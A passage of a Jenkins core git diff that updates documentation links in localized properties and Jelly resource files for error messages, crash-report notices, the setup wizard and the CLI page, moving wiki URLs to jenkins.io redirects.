JENKINS_HOME\u3092\u8A2D\u5B9A\u3057\u3066\u304F\u3060\u3055\u3044\u3002\ - \u8A2D\u5B9A\u65B9\u6CD5\u306B\u3064\u3044\u3066\u306F\u3001Container-specific documentation \ + \u8A2D\u5B9A\u65B9\u6CD5\u306B\u3064\u3044\u3066\u306F\u3001Container-specific documentation \ \u3092\u53C2\u7167\u3057\u3066\u304F\u3060\u3055\u3044\u3002 diff --git a/core/src/main/resources/hudson/util/NoHomeDir/index_pt_BR.properties b/core/src/main/resources/hudson/util/NoHomeDir/index_pt_BR.properties index bc1d89c225..ea8295abc9 100644 --- a/core/src/main/resources/hudson/util/NoHomeDir/index_pt_BR.properties +++ b/core/src/main/resources/hudson/util/NoHomeDir/index_pt_BR.properties @@ -25,8 +25,8 @@ Error=Erro errorMessage.1=N\u00e3o foi poss\u00edvel criar o diret\u00f3rio principal "{0}". Provavelmente um por problema de permiss\u00e3o. # To change the home directory, use JENKINS_HOME environment variable or set the \ # JENKINS_HOME system property. \ -# See Container-specific documentation \ +# See Container-specific documentation \ # for more details of how to do this. errorMessage.2= Para mudar o diret\u00f3rio principal, use a vari\u00e1vel de ambiente JENKINS_HOME \ - Veja a documenta\u00e7\u00e3o especifica para o servidor \ + Veja a documenta\u00e7\u00e3o especifica para o servidor \ para mais detalhes de como fazer isto. diff --git a/core/src/main/resources/hudson/util/NoHomeDir/index_sr.properties b/core/src/main/resources/hudson/util/NoHomeDir/index_sr.properties index ea9d4b334e..57863766bf 100644 --- a/core/src/main/resources/hudson/util/NoHomeDir/index_sr.properties +++ b/core/src/main/resources/hudson/util/NoHomeDir/index_sr.properties @@ -5,5 +5,5 @@ errorMessage.1=\u041D\u0438\u0458\u0435 \u043C\u043E\u0433\u0443\u045B\u0435 \u0 errorMessage.2=\ \u0414\u0430 \u043F\u0440\u043E\u043C\u0435\u043D\u0438\u0442\u0435 \u0433\u043B\u0430\u0432\u043D\u0438 \u0434\u0438\u0440\u0435\u043A\u0442\u043E\u0440\u0438\u0458\u0443\u043C, \u043A\u043E\u0440\u0438\u0441\u0442\u0438\u0442\u0435 JENKINS_HOME \u043F\u0440\u043E\u043C\u0435\u043D\u0459\u0438\u0432\u0443 \u0438\u043B\u0438 \ JENKINS_HOME \u0441\u0438\u0441\u0442\u0435\u043C\u0441\u043A\u0443 \u043F\u043E\u0441\u0442\u0430\u0432\u043A\u0443. \ - \u041F\u0440\u043E\u0447\u0438\u0442\u0430\u0458\u0442\u0435 \u0414\u043E\u043A\u0443\u043C\u0435\u043D\u0442\u0430\u0446\u0438\u0458\u0443 \u043E \u043A\u043E\u043D\u0442\u0435\u0458\u043D\u0435\u0440\u0438\u043C\u0430 \ + \u041F\u0440\u043E\u0447\u0438\u0442\u0430\u0458\u0442\u0435 \u0414\u043E\u043A\u0443\u043C\u0435\u043D\u0442\u0430\u0446\u0438\u0458\u0443 \u043E \u043A\u043E\u043D\u0442\u0435\u0458\u043D\u0435\u0440\u0438\u043C\u0430 \ \u0437\u0430 \u0458\u043E\u0448 \u0434\u0435\u0442\u0430\u0459\u0430. \ No newline at end of file diff --git a/core/src/main/resources/hudson/util/NoHomeDir/index_zh_TW.properties b/core/src/main/resources/hudson/util/NoHomeDir/index_zh_TW.properties index 2ea36193a2..9ffa047ddc 100644 --- a/core/src/main/resources/hudson/util/NoHomeDir/index_zh_TW.properties +++ b/core/src/main/resources/hudson/util/NoHomeDir/index_zh_TW.properties @@ -26,4 +26,4 @@ errorMessage.1=\ errorMessage.2=\ \u8981\u4fee\u6539\u4e3b\u76ee\u9304\uff0c\u8acb\u8a2d\u5b9a JENKINS_HOME \u74b0\u5883\u8b8a\u6578\u6216 JENKINS_HOME \u7cfb\u7d71\u5c6c\u6027\u3002\ \u8a73\u7d30\u4f5c\u6cd5\u8acb\u53c3\u8003 \ - Container \u76f8\u95dc\u6587\u4ef6\u3002 + Container \u76f8\u95dc\u6587\u4ef6\u3002 diff --git a/core/src/main/resources/jenkins/diagnosis/HsErrPidList/index.properties b/core/src/main/resources/jenkins/diagnosis/HsErrPidList/index.properties index d7049c659a..6417ea3d5b 100644 --- a/core/src/main/resources/jenkins/diagnosis/HsErrPidList/index.properties +++ b/core/src/main/resources/jenkins/diagnosis/HsErrPidList/index.properties @@ -1,5 +1,5 @@ blurb=The following JVM crash reports are found for this Jenkins instance. \ - If you think this is a problem in Jenkins, please report it. \ + If you think this is a problem in Jenkins, please report it. \ Jenkins relies on some heuristics to find these files. For more reliable discovery, please consider adding \ -XX:ErrorFile=/path/to/hs_err_pid%p.log as your JVM argument. ago={0} ago \ No newline at end of file diff --git a/core/src/main/resources/jenkins/diagnosis/HsErrPidList/index_ja.properties b/core/src/main/resources/jenkins/diagnosis/HsErrPidList/index_ja.properties index 87ab4dcf68..5c8c783f41 100644 --- a/core/src/main/resources/jenkins/diagnosis/HsErrPidList/index_ja.properties +++ b/core/src/main/resources/jenkins/diagnosis/HsErrPidList/index_ja.properties @@ -25,7 +25,7 @@ Name=\u540d\u524d Date=\u5e74\u6708\u65e5 Delete=\u524a\u9664 blurb=Jenkins\u306eJVM\u30af\u30e9\u30c3\u30b7\u30e5\u30ec\u30dd\u30fc\u30c8\u304c\u898b\u3064\u304b\u308a\u307e\u3057\u305f\u3002\ - Jenkins\u306e\u554f\u984c\u3067\u3042\u308c\u3070\u3001\u5831\u544a\u3057\u3066\u304f\u3060\u3055\u3044\u3002 \ + Jenkins\u306e\u554f\u984c\u3067\u3042\u308c\u3070\u3001\u5831\u544a\u3057\u3066\u304f\u3060\u3055\u3044\u3002 \ Jenkins relies on some heuristics to find these files. \u3088\u308a\u6b63\u78ba\u306b\u898b\u3064\u3051\u308b\u306b\u306f\u3001\ JVM\u30aa\u30d7\u30b7\u30e7\u30f3\u306b-XX:ErrorFile=/path/to/hs_err_pid%p.log\u3092\u8ffd\u52a0\u3057\u3066\u304f\u3060\u3055\u3044\u3002 ago={0} \u524d \ No newline at end of file diff --git a/core/src/main/resources/jenkins/diagnosis/HsErrPidList/index_lt.properties b/core/src/main/resources/jenkins/diagnosis/HsErrPidList/index_lt.properties index dbb4cf4fdd..ee0f9a7106 100644 --- a/core/src/main/resources/jenkins/diagnosis/HsErrPidList/index_lt.properties +++ b/core/src/main/resources/jenkins/diagnosis/HsErrPidList/index_lt.properties @@ -1,5 +1,5 @@ blurb=\u0160ios JVM l\u016b\u017eimo ataskaitos rastos \u0161iame Jenkinse. \ - Jei manote, kad problema Jenkinse, pra\u0161ome apie tai prane\u0161ti. \ + Jei manote, kad problema Jenkinse, pra\u0161ome apie tai prane\u0161ti. \ Jenkinsas remiasi heuristika ie\u0161kodamas \u0161i\u0173 fail\u0173. Patikimesniam aptikimui galite prid\u0117ti \ -XX:ErrorFile=/path/to/hs_err_pid%p.log kaip j\u016bs\u0173 JVM argument\u0105. ago=prie\u0161 {0} diff --git a/core/src/main/resources/jenkins/diagnosis/HsErrPidList/index_pt_BR.properties b/core/src/main/resources/jenkins/diagnosis/HsErrPidList/index_pt_BR.properties index 4a71982704..9015d61b25 100644 --- a/core/src/main/resources/jenkins/diagnosis/HsErrPidList/index_pt_BR.properties +++ b/core/src/main/resources/jenkins/diagnosis/HsErrPidList/index_pt_BR.properties @@ -21,11 +21,11 @@ # THE SOFTWARE. # The following JVM crash reports are found for this Jenkins instance. \ -# If you think this is a problem in Jenkins, please report it. \ +# If you think this is a problem in Jenkins, please report it. \ # Jenkins relies on some heuristics to find these files. For more reliable discovery, please consider adding \ # -XX:ErrorFile=/path/to/hs_err_pid%p.log as your JVM argument. blurb=Os seguintes relat\u00f3rios de erro da JVM foram encontrados para esta inst\u00e2ncia do Jenkins. \ - Caso voc\u00ea acredite que este seja um problema no Jenkins, por favor reporte. \ + Caso voc\u00ea acredite que este seja um problema no Jenkins, por favor reporte. \ O Jenkins depende de algumas heuristicas para encontrar estes arquivos. Para uma descoberta mais garantida, \ por favor considere adicionar -XX:ErrorFile=/caminho/para/hs_err_pid%p.log como argumento para sua JVM. Delete=Excluir diff --git a/core/src/main/resources/jenkins/diagnosis/HsErrPidList/index_sr.properties b/core/src/main/resources/jenkins/diagnosis/HsErrPidList/index_sr.properties index e1b2a24bec..6e2c57314e 100644 --- a/core/src/main/resources/jenkins/diagnosis/HsErrPidList/index_sr.properties +++ b/core/src/main/resources/jenkins/diagnosis/HsErrPidList/index_sr.properties @@ -2,7 +2,7 @@ Java\ VM\ Crash\ Reports=\u0418\u0437\u0432\u0435\u0448\u0440\u0430\u0458\u0438 JVM \u043F\u0440\u043E\u0431\u043B\u0435\u043C\u0438\u043C\u0430 blurb=\u041D\u0430\u0452\u0435\u043D\u0438 \u0441\u0443 \u0438\u0437\u0432\u0435\u0448\u0440\u0430\u0458\u0438 JVM \u043F\u0440\u043E\u0431\u043B\u0435\u043C\u0438\u043C\u0430 \u0437\u0430 \u043E\u0432\u0443 Jenkins \u043C\u0430\u0448\u0438\u043D\u0443. \ - \u0410\u043A\u043E \u043C\u0438\u0441\u043B\u0438\u0442\u0435 \u0434\u0430 \u0441\u0442\u0435 \u043D\u0430\u0448\u043B\u0438 \u043F\u0440\u043E\u0431\u043B\u0435\u043C \u0441\u0430 Jenkins-\u043E\u043C, \u043C\u043E\u043B\u0438\u043C\u043E \u043F\u0440\u0438\u0458\u0430\u0432\u0438 \u0433\u0430. \ + \u0410\u043A\u043E \u043C\u0438\u0441\u043B\u0438\u0442\u0435 \u0434\u0430 \u0441\u0442\u0435 \u043D\u0430\u0448\u043B\u0438 \u043F\u0440\u043E\u0431\u043B\u0435\u043C \u0441\u0430 Jenkins-\u043E\u043C, \u043C\u043E\u043B\u0438\u043C\u043E \u043F\u0440\u0438\u0458\u0430\u0432\u0438 \u0433\u0430. \ Jenkins \u043A\u043E\u0440\u0438\u0441\u0442\u0438 \u043D\u0435\u043A\u043E\u043B\u0438\u043A\u043E \u0445\u0435\u0443\u0440\u0438\u0441\u0442\u0438\u043A\u0435 \u0434\u0430 \u043F\u0440\u043E\u043D\u0430\u0452\u0435 \u043E\u0432\u0435 \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0435. \u041A\u043E\u0440\u0438\u0441\u0442\u0438\u0442\u0435 JVM \u043E\u043F\u0446\u0438\u0458\u0443 \ -XX:ErrorFile=/path/to/hs_err_pid%p.log \u0437\u0430 \u043F\u043E\u0443\u0437\u0434\u0430\u043D\u0438\u0458\u0435 \u043F\u0440\u0435\u0442\u0440\u0430\u0436\u0438\u0432\u0430\u045A\u0435. Name=\u0418\u043C\u0435 diff --git a/core/src/main/resources/jenkins/diagnostics/CompletedInitializationMonitor/message.jelly b/core/src/main/resources/jenkins/diagnostics/CompletedInitializationMonitor/message.jelly index 80d6bd1e5f..585677dc13 100644 --- a/core/src/main/resources/jenkins/diagnostics/CompletedInitializationMonitor/message.jelly +++ b/core/src/main/resources/jenkins/diagnostics/CompletedInitializationMonitor/message.jelly @@ -4,8 +4,8 @@ ${%Warning!} ${%blurb(app.initLevel)} ${%Example: usage of} @Initializer(after = InitMilestone.COMPLETED) ${%in a plugin} - (JENKINS-37759). - ${%Please} ${%report a bug} ${%in the Jenkins bugtracker}. + (${%See documentation}). + ${%Please} ${%report a bug} ${%in the Jenkins bugtracker}. diff --git a/core/src/main/resources/jenkins/install/pluginSetupWizard.properties b/core/src/main/resources/jenkins/install/pluginSetupWizard.properties index d5ade9f633..1c2e709180 100644 --- a/core/src/main/resources/jenkins/install/pluginSetupWizard.properties +++ b/core/src/main/resources/jenkins/install/pluginSetupWizard.properties @@ -10,7 +10,7 @@ installWizard_offline_title=Offline installWizard_offline_message=This Jenkins instance appears to be offline. \

                                                    \ For information about installing Jenkins without an internet connection, see the \ -Offline Jenkins Installation Documentation.

                                                    \ +Offline Jenkins Installation Documentation.

                                                    \ You may choose to continue by configuring a proxy or skipping plugin installation. \

                                                    installWizard_error_header=An error occurred @@ -23,7 +23,7 @@ installWizard_installCustom_selectNone=None installWizard_installCustom_selectRecommended=Suggested installWizard_installCustom_selected=Selected installWizard_installCustom_dependenciesPrefix=Dependencies -installWizard_installCustom_pluginListDesc=Note that the full list of plugins is not shown here. Additional plugins can be installed in the Plugin Manager once the initial setup is complete. See the Wiki for more information. +installWizard_installCustom_pluginListDesc=Note that the full list of plugins is not shown here. Additional plugins can be installed in the Plugin Manager once the initial setup is complete. See the Wiki for more information. installWizard_goBack=Back installWizard_goInstall=Install installWizard_installing_title=Getting Started diff --git a/core/src/main/resources/jenkins/install/pluginSetupWizard_fr.properties b/core/src/main/resources/jenkins/install/pluginSetupWizard_fr.properties index a4fdaf9bf9..9f95c1be1f 100644 --- a/core/src/main/resources/jenkins/install/pluginSetupWizard_fr.properties +++ b/core/src/main/resources/jenkins/install/pluginSetupWizard_fr.properties @@ -11,7 +11,7 @@ installWizard_offline_title=Hors-ligne installWizard_offline_message=Cette instance Jenkins a l\'air d\'\u00eatre hors-ligne. \

                                                    \ Pour des informations relatives \u00e0 l\'installation de Jenkins sans acc\u00e8s Internet, voir la \ -Documentation \ +Documentation \ d'Installation hors-ligne de Jenkins.

                                                    \ Vous pouvez continuer en configurant un serveur proxy ou en sautant l\'installation des plugins. \

                                                    @@ -26,7 +26,7 @@ installWizard_installCustom_selected=S\u00e9lectionn\u00e9s installWizard_installCustom_dependenciesPrefix=D\u00e9pendances installWizard_installCustom_pluginListDesc=Notez que la liste compl\u00e8te des plugins n\'est pas affich\u00e9e ici. \ Des plugins additionnels peuvent \u00eatre install\u00e9s depuis le Plugin Manager une fois la \ -configuration initiale termin\u00e9e. Voir le Wiki pour plus d\'informations. +configuration initiale termin\u00e9e. Voir le Wiki pour plus d\'informations. installWizard_goBack=Retour installWizard_goInstall=Installer installWizard_installing_title=Installation en cours... diff --git a/core/src/main/resources/jenkins/install/pluginSetupWizard_lt.properties b/core/src/main/resources/jenkins/install/pluginSetupWizard_lt.properties index 37e1d4bef2..5f7b5ec1fe 100644 --- a/core/src/main/resources/jenkins/install/pluginSetupWizard_lt.properties +++ b/core/src/main/resources/jenkins/install/pluginSetupWizard_lt.properties @@ -10,7 +10,7 @@ installWizard_offline_title=Atsijung\u0119s installWizard_offline_message=Pana\u0161u, kad \u0161is Jenkinsas yra atsijung\u0119s. \

                                                    \ Daugiau informacijos apie tai, kaip diegti Jenkins\u0105 neprisijungus prie interneto, ie\u0161kokite \ -Neprijungto Jenkins diegimo dokumentacijoje.

                                                    \ +Neprijungto Jenkins diegimo dokumentacijoje.

                                                    \ Galite nuspr\u0119sti t\u0119sti sukonfig\u016brav\u0119 \u0161liuz\u0105 arba praleisdami pried\u0173 diegim\u0105. \

                                                    installWizard_error_header=\u012evyko klaida @@ -22,7 +22,7 @@ installWizard_installCustom_selectNone=Nieko installWizard_installCustom_selectRecommended=Rekomenduojami installWizard_installCustom_selected=Pa\u017eym\u0117ti installWizard_installCustom_dependenciesPrefix=Priklausomyb\u0117s -installWizard_installCustom_pluginListDesc=Pasteb\u0117tina, kad \u010dia nerodomas pilnas pried\u0173 s\u0105ra\u0161as. Papildomus priedus galite \u012fdiegti Pried\u0173 tvarkykl\u0117je, kai bus baigtas pradinis diegimas. Daugiau informacijos rasite vikyje. +installWizard_installCustom_pluginListDesc=Pasteb\u0117tina, kad \u010dia nerodomas pilnas pried\u0173 s\u0105ra\u0161as. Papildomus priedus galite \u012fdiegti Pried\u0173 tvarkykl\u0117je, kai bus baigtas pradinis diegimas. Daugiau informacijos rasite vikyje. installWizard_goBack=Atgal installWizard_goInstall=\u012ediegti installWizard_installing_title=\u012evadas diff --git a/core/src/main/resources/jenkins/install/pluginSetupWizard_sr.properties b/core/src/main/resources/jenkins/install/pluginSetupWizard_sr.properties index 19b8568ad4..23f5e061f7 100644 --- a/core/src/main/resources/jenkins/install/pluginSetupWizard_sr.properties +++ b/core/src/main/resources/jenkins/install/pluginSetupWizard_sr.properties @@ -8,7 +8,7 @@ installWizard_offline_title=\u0412\u0430\u043D \u043C\u0440\u0435\u0436\u0435 installWizard_offline_message=Jenkins \u0442\u0440\u0435\u043D\u0443\u0442\u043D\u043E \u0440\u0430\u0434\u0438 \u0432\u0430\u043D \u043C\u0440\u0435\u0436\u0435.\

                                                    \ \u0414\u0430 \u0431\u0438 \u0441\u0442\u0435 \u0438\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u043B\u0438 Jenkins \u0431\u0435\u0437 \u0438\u043D\u0442\u0435\u0440\u043D\u0435\u0442 \u0432\u0435\u0437\u043E\u043C, \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0458\u0442\u0435 \ -\u0412\u0430\u043D-\u043C\u0440\u0435\u0436\u043D\u0430 Jenkins \u0438\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0430.

                                                    \ +\u0412\u0430\u043D-\u043C\u0440\u0435\u0436\u043D\u0430 Jenkins \u0438\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0430.

                                                    \ \u041C\u043E\u0436\u0435\u0442\u0435 \u043D\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u043F\u043E\u0441\u0442\u0430\u0432\u0459\u0430\u0458\u0443\u0447\u0438 proxy \u0438\u043B\u0438 \u043F\u0440\u0435\u0441\u043A\u0430\u043A\u0430\u045A\u0435\u043C \u0438\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0438 \u043C\u043E\u0434\u0443\u043B\u0430. \

                                                    installWizard_error_header=\u0414\u043E\u0448\u043B\u043E \u0458\u0435 \u0434\u043E \u0433\u0440\u0435\u0448\u043A\u0435 @@ -21,7 +21,7 @@ installWizard_installCustom_selectNone=\u041D\u0438\u0448\u0442\u0430 installWizard_installCustom_selectRecommended=\u041F\u0440\u0435\u0434\u043B\u043E\u0436\u0435\u043D\u043E installWizard_installCustom_selected=\u0418\u0437\u0430\u0431\u0440\u0430\u043D\u043E installWizard_installCustom_dependenciesPrefix=\u0417\u0430\u0432\u0438\u0441\u043D\u043E\u0441\u0442\u0438 -installWizard_installCustom_pluginListDesc=\u041A\u043E\u043C\u043F\u043B\u0435\u0442\u0430\u043D \u043D\u0438\u0437 \u043C\u043E\u0434\u0443\u043B\u0430 \u043D\u0438\u0458\u0435 \u043F\u0440\u0438\u043A\u0430\u0437\u0430\u043D\u043E. \u0414\u043E\u0434\u0430\u0442\u043D\u0435 \u043C\u043E\u0434\u0443\u043B\u0435 \u043C\u043E\u0433\u0443 \u0431\u0438\u0442\u0438 \u0438\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u043D\u0438 \u0441\u0430 \u0423\u043F\u0440\u0430\u0432\u0459\u0430\u0447\u0435\u043C \u043C\u043E\u0434\u0443\u043B\u0430. \u041F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0458\u0442\u0435 \u0412\u0438\u043A\u0438 \u0437\u0430 \u0432\u0438\u0448\u0435 \u0434\u0435\u0442\u0430\u0459\u0430. +installWizard_installCustom_pluginListDesc=\u041A\u043E\u043C\u043F\u043B\u0435\u0442\u0430\u043D \u043D\u0438\u0437 \u043C\u043E\u0434\u0443\u043B\u0430 \u043D\u0438\u0458\u0435 \u043F\u0440\u0438\u043A\u0430\u0437\u0430\u043D\u043E. \u0414\u043E\u0434\u0430\u0442\u043D\u0435 \u043C\u043E\u0434\u0443\u043B\u0435 \u043C\u043E\u0433\u0443 \u0431\u0438\u0442\u0438 \u0438\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u043D\u0438 \u0441\u0430 \u0423\u043F\u0440\u0430\u0432\u0459\u0430\u0447\u0435\u043C \u043C\u043E\u0434\u0443\u043B\u0430. \u041F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0458\u0442\u0435 \u0412\u0438\u043A\u0438 \u0437\u0430 \u0432\u0438\u0448\u0435 \u0434\u0435\u0442\u0430\u0459\u0430. installWizard_goBack=\u041D\u0430\u0437\u0430\u0434 installWizard_goInstall=\u0418\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u0458 installWizard_installing_title=\u041F\u043E\u0447\u0435\u0442\u0430\u043A diff --git a/core/src/main/resources/jenkins/model/Jenkins/_cli_ko.properties b/core/src/main/resources/jenkins/model/Jenkins/_cli_ko.properties index 0a3081fdd1..f62b0bcd81 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/_cli_ko.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/_cli_ko.properties @@ -1,4 +1,4 @@ # This file is under the MIT License by authors Available\ Commands=\uC0AC\uC6A9\uAC00\uB2A5\uD55C \uBA85\uB839\uB4E4 -blurb=Jenkins\uC758 \uB2E4\uC591\uD55C \uAE30\uB2A5\uC744 command-line \uD234\uC744 \uC0AC\uC6A9\uD558\uC5EC \uC811\uADFC\uD560 \uC218 \uC788\uC2B5\uB2C8\uB2E4. \uC774\uAE30\uB2A5\uC5D0 \uB300\uD55C \uB354 \uC790\uC138\uD55C \uB0B4\uC6A9\uC740\uC774 Wiki\uB97C \uBCF4\uC138\uC694. \uC2DC\uC791\uD558\uB824\uBA74, jenkins-cli.jar\uC744 \uB2E4\uC6B4\uB85C\uB4DC \uD55C\uB4A4 \uB2E4\uC74C\uACFC \uAC19\uC774 \uC2E4\uD589\uD569\uB2C8\uB2E4: +blurb=Jenkins\uC758 \uB2E4\uC591\uD55C \uAE30\uB2A5\uC744 command-line \uD234\uC744 \uC0AC\uC6A9\uD558\uC5EC \uC811\uADFC\uD560 \uC218 \uC788\uC2B5\uB2C8\uB2E4. \uC774\uAE30\uB2A5\uC5D0 \uB300\uD55C \uB354 \uC790\uC138\uD55C \uB0B4\uC6A9\uC740\uC774 Wiki\uB97C \uBCF4\uC138\uC694. \uC2DC\uC791\uD558\uB824\uBA74, jenkins-cli.jar\uC744 \uB2E4\uC6B4\uB85C\uB4DC \uD55C\uB4A4 \uB2E4\uC74C\uACFC \uAC19\uC774 \uC2E4\uD589\uD569\uB2C8\uB2E4: diff --git a/core/src/main/resources/jenkins/model/Jenkins/_cli_sv_SE.properties b/core/src/main/resources/jenkins/model/Jenkins/_cli_sv_SE.properties index cc07ca27c0..515acb75fc 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/_cli_sv_SE.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/_cli_sv_SE.properties @@ -2,4 +2,4 @@ Available\ Commands=Tillg\u00E4ngliga kommandon Jenkins\ CLI=Jenkins CLI (kommandorads\u00E5tkomst) -blurb=Du kan komma \u00E5t diverse funktioner i Jenkins genom ett kommandoradsverktyg. Se Wikin f\u00F6r mer detaljer av den h\u00E4r funktionen. F\u00F6r att komma ig\u00E5ng, ladda ner jenkins-cli.jar och k\u00F6r enligt f\u00F6ljande: +blurb=Du kan komma \u00E5t diverse funktioner i Jenkins genom ett kommandoradsverktyg. Se Wikin f\u00F6r mer detaljer av den h\u00E4r funktionen. F\u00F6r att komma ig\u00E5ng, ladda ner jenkins-cli.jar och k\u00F6r enligt f\u00F6ljande: diff --git a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck.properties b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck.properties index b51a3f3bfc..f8e7628ab1 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck.properties @@ -24,4 +24,4 @@ description=\ Got a jar file but don\u2019t know which version it is?
                                                    \ Find that out by checking the fingerprint against \ the database in Jenkins -fingerprint.link=https://wiki.jenkins-ci.org/display/JENKINS/Fingerprint +fingerprint.link=https://jenkins.io/redirect/fingerprint diff --git a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_bg.properties b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_bg.properties index 15765bd910..f3c3260e49 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_bg.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_bg.properties @@ -33,8 +33,8 @@ Check\ File\ Fingerprint=\ description=\ \u041d\u0435 \u0437\u043d\u0430\u0435\u0442\u0435 \u0432\u0435\u0440\u0441\u0438\u044f\u0442\u0430 \u043d\u0430 \u043d\u044f\u043a\u043e\u0439 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u0435\u043d \u201e.jar\u201c \u0444\u0430\u0439\u043b?
                                                    \u041f\u0440\u043e\u0432\u0435\u0440\u0435\u0442\u0435 \u0437\u0430 \u0446\u0438\u0444\u0440\u043e\u0432\u0438\u044f \u043c\u0443 \u043e\u0442\u043f\u0435\u0447\u0430\u0442\u044a\u043a \u0432 \u0431\u0430\u0437\u0430\u0442\u0430 \u043d\u0430 Jenkins. -# https://wiki.jenkins-ci.org/display/JENKINS/Fingerprint +# https://jenkins.io/redirect/fingerprint fingerprint.link=\ - https://wiki.jenkins-ci.org/display/JENKINS/Fingerprint + https://jenkins.io/redirect/fingerprint more\ details=\ \u041e\u0449\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 diff --git a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_cs.properties b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_cs.properties index 5ed5ac44c3..e31d158af4 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_cs.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_cs.properties @@ -5,5 +5,5 @@ Check\ File\ Fingerprint=Ov\u011B\u0159it otisk souboru File\ to\ check=Soubor k ov\u011B\u0159en\u00ED description=M\u00E1te jar soubor ale nev\u00EDte k jak\u00E9 verzi pat\u0159\u00ED?
                                                    Ov\u011B\u0159te si jej v Jenkinsov\u011B datab\u00E1zi otisk\u016F -fingerprint.link=https://wiki.jenkins-ci.org/display/JENKINS/Fingerprint +fingerprint.link=https://jenkins.io/redirect/fingerprint more\ details=dal\u0161\u00ED informace diff --git a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_da.properties b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_da.properties index 4a824aea26..09123b2192 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_da.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_da.properties @@ -22,7 +22,7 @@ Check\ File\ Fingerprint=Check filfingeraftryk File\ to\ check=Fil der skal checkes -fingerprint.link=https://wiki.jenkins-ci.org/display/JENKINS/Fingerprint +fingerprint.link=https://jenkins.io/redirect/fingerprint description=\ Har du f\u00e5et en jar fil, men ved ikke hvilken version den har?
                                                    \ Find ud af det ved at checke imod filfingeraftryksdatabasen i Jenkins diff --git a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_de.properties b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_de.properties index f5ed8a4da0..2dad94b0b5 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_de.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_de.properties @@ -27,4 +27,4 @@ more\ details=mehr... description=\ Die Version einer JAR-Datei lässt sich über die von \ Jenkins gespeicherten Fingerabdrücke herausfinden. -fingerprint.link=https://wiki.jenkins-ci.org/display/JENKINS/Fingerprint +fingerprint.link=https://jenkins.io/redirect/fingerprint diff --git a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_el.properties b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_el.properties index 8f06b2f265..6d496604cc 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_el.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_el.properties @@ -4,5 +4,5 @@ Check=\u0388\u03BB\u03B5\u03B3\u03C7\u03BF\u03C2 Check\ File\ Fingerprint=\u0388\u03BB\u03B5\u03B3\u03C7\u03BF\u03C2 \u0391\u03C0\u03BF\u03C4\u03C5\u03C0\u03C9\u03BC\u03AC\u03C4\u03C9\u03BD \u0391\u03C1\u03C7\u03B5\u03AF\u03C9\u03BD File\ to\ check=\u0391\u03C1\u03C7\u03B5\u03AF\u03BF \u03C0\u03C1\u03BF\u03C2 \u03AD\u03BB\u03B5\u03B3\u03C7\u03BF description=\u0388\u03C7\u03B5\u03C4\u03B5 \u03BA\u03AC\u03C0\u03BF\u03B9\u03BF jar \u03B1\u03C1\u03C7\u03B5\u03AF\u03BF \u03B1\u03BB\u03BB\u03AC \u03B4\u03B5\u03BD \u03BE\u03AD\u03C1\u03B5\u03C4\u03B5 \u03C4\u03BF\u03BD \u03B1\u03C1\u03B9\u03B8\u03BC\u03CC \u03AD\u03BA\u03B4\u03BF\u03C3\u03AE\u03C2 \u03C4\u03BF\u03C5;
